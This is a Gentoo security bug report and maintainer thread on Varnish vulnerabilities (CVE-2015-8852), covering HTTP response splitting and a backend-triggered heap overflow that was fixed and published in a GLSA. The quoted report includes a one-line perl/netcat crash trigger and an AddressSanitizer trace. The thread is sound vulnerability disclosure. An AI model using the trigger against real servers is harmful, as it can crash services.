| Summary: | <www-servers/varnish-3.0.7: Multiple vulnerabilties (CVE-2015-8852) | ||
|---|---|---|---|
| Product: | Gentoo Security | Reporter: | Agostino Sarubbo <ago> |
| Component: | Vulnerabilities | Assignee: | Gentoo Security <security> |
| Status: | RESOLVED FIXED | ||
| Severity: | normal | CC: | blueness, hydrapolic, idl0r |
| Priority: | Normal | ||
| Version: | unspecified | ||
| Hardware: | All | ||
| OS: | Linux | ||
| URL: | http://seclists.org/oss-sec/2015/q1/776 | ||
| Whiteboard: | B2 [glsa cve] | ||
| Package list: | Runtime testing required: | --- | |
Strange, just tested with 4.0.3 on hardened amd64 and it didn't crash. CVE-2015-8852 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-8852): Varnish 3.x before 3.0.7, when used in certain stacked installations, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via a header line terminated by a \r (carriage return) character in conjunction with multiple Content-Length headers in an HTTP request. (In reply to Tomáš Mózes from comment #1) > Strange, just tested with 4.0.3 on hardened amd64 and it didn't crash. Same test results for me and the relevant CVE does not address any 4.x branch. 3.0.7 is stable and no vulnerable versions are present. New GLSA Request filed. This bug contains two vulnerabilities in it. One is the original heap overflow reported by Ago and the other is the improper HTTP validation. They are related and have both been fixed. varnish 3.x has been EOL since 2015-03-23, so I punted it. See http://www.varnish-cache.org/releases/index.html (In reply to Anthony Basile from comment #5) > varnish 3.x has been EOL since 2015-03-23, so I punted it. See > > http://www.varnish-cache.org/releases/index.html Thanks, Anthony. GLSA is pending review. This issue was resolved and addressed in GLSA 201607-10 at https://security.gentoo.org/glsa/201607-10 by GLSA coordinator Aaron Bauman (b-man). |
From ${URL} : Latest varnish-cache 4.0.3 (https://www.varnish-cache.org/) seem to have a problem with parsing HTTP responses from backend. The following example response will trigger a heap buffer overflow : -- cut -- perl -e 'print "HTTP/1.1 200 OK\r\nContent-Length: dupa" . "\n" x 15855 . "A" x 10000 . "\n" ' | nc -l 1098 -- cut -- assuming your config uses localhost:1098 as backend. meh kernel: [2045151.042468] traps: varnishd[25794] general protection ip:42982c sp:7eff082db2d0 error:0 in varnishd[400000+ac000] Original asan report : --- cut --- ================================================================= ==12962==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62900cb24200 at pc 0x7feffed5a87b bp 0x7fef7b213fa0 sp 0x7fef7b213760 WRITE of size 32029 at 0x62900cb24200 thread T596 #0 0x7feffed5a87a (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x2e87a) #1 0x7feffff11849 in HTTP1_Read (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xe8849) #2 0x7feffff04727 in v1f_pull_straight (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xdb727) #3 0x7fefffee1a35 in vfp_call (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8a35) #4 0x7fefffee210f in VFP_Suck (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb910f) #5 0x7fefffee2ee3 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9ee3) #6 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56) #7 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60) #8 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a) #9 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040) #10 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442) #11 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) #12 0x7feffd9fa00c in __clone (/lib/x86_64-linux-gnu/libc.so.6+0xfb00c) 0x62900cb24200 is located 0 bytes to the right of 16384-byte region [0x62900cb20200,0x62900cb24200) allocated by thread T596 here: #0 0x7feffed807df in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x547df) #1 0x7feffffbe5e1 in sma_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1955e1) #2 0x7feffffb04c9 in stv_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1874c9) #3 0x7feffffb0e7b in stv_alloc_obj (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x187e7b) #4 0x7feffffb39ee in STV_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x18a9ee) #5 0x7fefffee1696 in VFP_GetStorage (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8696) #6 0x7fefffee2953 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9953) #7 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56) #8 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60) #9 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a) #10 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040) #11 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442) #12 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T596 created by T16 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2d18d in pool_breed (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10418d) #2 0x7feffff2dd3f in pool_herder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x104d3f) #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T16 created by T6 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2f043 in pool_mkpool (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106043) #2 0x7feffff2f527 in pool_poolherder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106527) #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T6 created by T0 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2f8e1 in Pool_Init (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1068e1) #2 0x7feffff1a4cb in child_main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xf14cb) #3 0x7feffff91402 in mgt_launch_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x168402) #4 0x7feffff92e06 in mgt_reap_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x169e06) #5 0x7feffff90541 in child_listener (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x167541) #6 0x7feffeb09ce7 in vev_schedule_one (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x24ce7) #7 0x7feffeb084b8 in vev_schedule (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x234b8) #8 0x7feffff93ff6 in MGT_Run (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x16aff6) #9 0x7feffff9db1f in main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x174b1f) #10 0x7feffd920ec4 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ?? Shadow bytes around the buggy address: 0x0c528195c7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c528195c840:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c850: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c860: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c870: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c890: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa --- cut --- Our understanding after previous reports is that varnish security model assumes full trust of the backend, so this is not considered a security problem (but we do). @maintainer(s): after the bump, in case we need to stabilize the package, please let us know if it is ready for the stabilization or not.